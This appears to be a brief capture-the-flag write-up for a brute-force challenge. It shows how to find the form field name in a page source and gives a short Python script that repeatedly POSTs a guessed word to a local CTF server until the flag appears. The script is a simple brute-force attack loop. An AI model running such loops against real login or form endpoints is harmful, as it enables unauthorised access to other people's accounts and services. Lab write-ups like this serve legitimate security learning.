image.png

For this challenge, we’ll need to brute-force the form field using one word from the provided word list. We’ll try that word over and over again until the guess is correct.

If we enter a random value and hit ‘Submit’, the page will print:

image.png

By viewing the page source, we can see that the name of the form field to brute force is ‘user_word’.

image.png

Here is a Python program that will repeatedly POST the word ‘themes’ (which is a part of the provided wordlist) until correct.

import requests

url = "http://ctf.local:9000/brute_1/index.php"
data = {"user_word": "themes"}

while True:
    response = requests.post(url, data=data)
    if "Try again" not in response.text:
        print(response.text)
        break

Save it as exploit.py and run it like this:

python3 exploit.py

Wait 20 seconds or so, and eventually, you’ll see the flag!